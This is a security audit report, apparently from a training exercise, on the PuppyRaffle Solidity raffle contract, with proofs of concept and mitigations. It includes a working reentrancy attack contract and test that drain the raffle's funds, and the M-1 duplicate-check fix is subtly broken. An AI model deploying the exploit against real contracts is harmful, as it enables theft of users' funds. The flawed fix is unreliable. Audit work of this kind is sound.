Prepared by: yavor.eth Lead Security Researcher:

- yavor.eth

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.
    - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict winner and influence or predict the winning puppy.
    - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
    - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incremeting gas costs for future enterants.
    - [M-2] Balance Check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contarct to send ETH to the raffle, blocking withdraws.
    - [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new constest.
- Low
  - [L-1] `PuppyRaffle:getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  - Gas
    - [G-1] Unchanged state variables should be declared constant or immutable.
    - [G-2] Storage variables in a loop should be cached
    - [I-1] Solidity pragma should be specific, not wide
    - [I-2] Using an outdated version of Solidity is not recommended.
    - [I-3] Missing checks for `address(0)` when assigning values to address state variables
    - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    - [I-5] Use of "magic" numbers is discouraged
    - [I-6] _isActivePlayer is never used and should be removed

Protocol Summary

PuppyRaffle is a protocol for organizing a raffle where participants pay an entrance fee to enter. The contract randomly selects a winner who receives a unique NFT puppy, while fees are collected and can be withdrawn by the owner. Participants can request refunds, while the raffle is governed by time limits and a minimum number of entrants.

Disclaimer

The yavor.eth team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following comit hash:

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
└── PuppyRaffle.sol
```

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

- Owner: The user who can enter players into the raffle, select a winner, and withdraw collected fees.
- Participants: Users who can enter the raffle by paying an entrance fee and request refunds if needed.
- Fee Address: A designated address that receives a percentage of the raffle funds as fees.

Executive Summary

*We spent overall about 5 hours, many vulnerabilities/bugs were found, we did testing and overlooking the code to make sure everything is accurate.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function deos not follow CEI (Checks, Effects, Interactions) and as result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that extarnal call do we update the `PuppyRaffle::players` array.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle who could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

▶ Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_ReentrancyRefund()  public  {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        AttackerReentrancy attackerReentrancy = new
AttackerReentrancy(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance =
address(attackerReentrancy).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerReentrancy.attack{value: entranceFee}();

        console.log("starting attacker contract balance: ",
startingAttackContractBalance);
        console.log("starting contract balance: ",
startingContractBalance);

        console.log("ending attacker contract balance: ",
address(attackerReentrancy).balance);
        console.log("ending contract balance",
address(puppyRaffle).balance);
    }
```

And this contract as well.

```
    contract AttackerReentrancy {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee = 1e18;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex =
puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function steal() internal {
            if(address(puppyRaffle).balance >= entranceFee){
                puppyRaffle.refund(attackerIndex);
        }
        }

        receive() external payable {
               steal();
            }

         fallback() external payable {
               steal();
            }
        }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
```

```
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means that users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can infulence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or the resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle

3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 1780000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. you will not be able to writhdraw, due to the line in `PuppyRaffle::withdrawFees`;

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

▶ Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require
```

```
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incremeting gas costs for future enterants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: The gas costs for raffle enterants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such:

- 1st 100 players: ~6252128 gas
- 2nd 100 players: ~18068218 gas

This is more than 3x more expensive for the second 100 players.

▶ PoC

```
function test_denialOfService() public {
        vm.txGasPrice(1);

        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players =  new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
            // this is like
            // address(1)
            // address(2)
            // address(3)
            // and so *on..
        }
        // lets see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players:", gasUsedFirst);

        // now lets do this for the next 100 players!

        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // 0, 1, 2, -> 100,
101, 102
            // this is like
            // address(1)
            // address(2)
            // address(3)
            // and so on..
        }
        // lets see how much gas it costs
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
tx.gasprice;
        console.log("Gas cost of the second 100 players:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are few recomendations.

- Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
- Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-        // Check for duplicates
+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+       }
-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
    .
    .
    .
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
```

Alternatively, you could use [OpenZeppelin's `EnumerableSet` library](https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).

[M-2] Balance Check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contarct to send ETH to the raffle, blocking withdraws.

Description: The `PuppyRaffle::withdrawFees` function check the `totalFees` equals the ETH balance of the contract `(address(this).balance)`. Since this contract doesn't have a `payable` fallback or receive function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
function withdrawFees() external {
       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
       uint256 feesToWithdraw = totalFees;
       totalFees = 0;
       (bool success,) = feeAddress.call{value: feesToWithdraw}("");
       require(success, "PuppyRaffle: Failed to withdraw fees");
   }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front run it, and block the withdrawal by sending fees.

Proof of Concept:

1. PuppyRaffle has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`.
3. `feeAddress` is no longer able to withdraw funds.

Recommended Mitigation: Remove the balance check on the `PuppyRaffle:withdrawFees` function.

```
function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
       uint256 feesToWithdraw = totalFees;
       totalFees = 0;
       (bool success,) = feeAddress.call{value: feesToWithdraw}("");
       require(success, "PuppyRaffle: Failed to withdraw fees");
   }
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new constest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challanging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult. Also, true winner would not get paid out and someone else could take their money!

Proof of Concept

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation There are a few options to mitigate this issue.

1. Do not allow smart contract wallet enterants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle:getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
 /// @return the index of the player in the array, if they are not active,
it returns 0
function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. Users enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the funtion returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: -`PuppyRaffle::raffleDuration` should be `immutable`. -`PuppyRaffle::commonImgUri` should be `constant`. -`PuppyRaffle::rareImgUri` should be `constant`. -`PuppyRaffle::legendaryUri` should be `constant`.

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficent.

```
+           uint256 playerLength = players.length;
-            for (uint256 i = 0; i < players.length - 1; i++) {
+            for (uint256 i = 0; i < playersLength - 1; i++)
-            for (uint256 j = i + 1; j < players.length; j++)
+            for (uint256 j = i + 1; j < playersLength; j++)  {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
}
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of Solidity is not recommended.

Solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. `0.8.26`

Please see [slither] (https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity) documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 187

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see numbers literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    // uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    // uint256 public constant FEE_PERCENTAGE = 20;
    // uint256 public constant POOL_PRECISION = 100;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle:_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {
-         for (uint256 i = 0; i < players.length; i++) {
-             if (players[i] == msg.sender) {
-                 return true;
-             }
-         }
-         return false;
```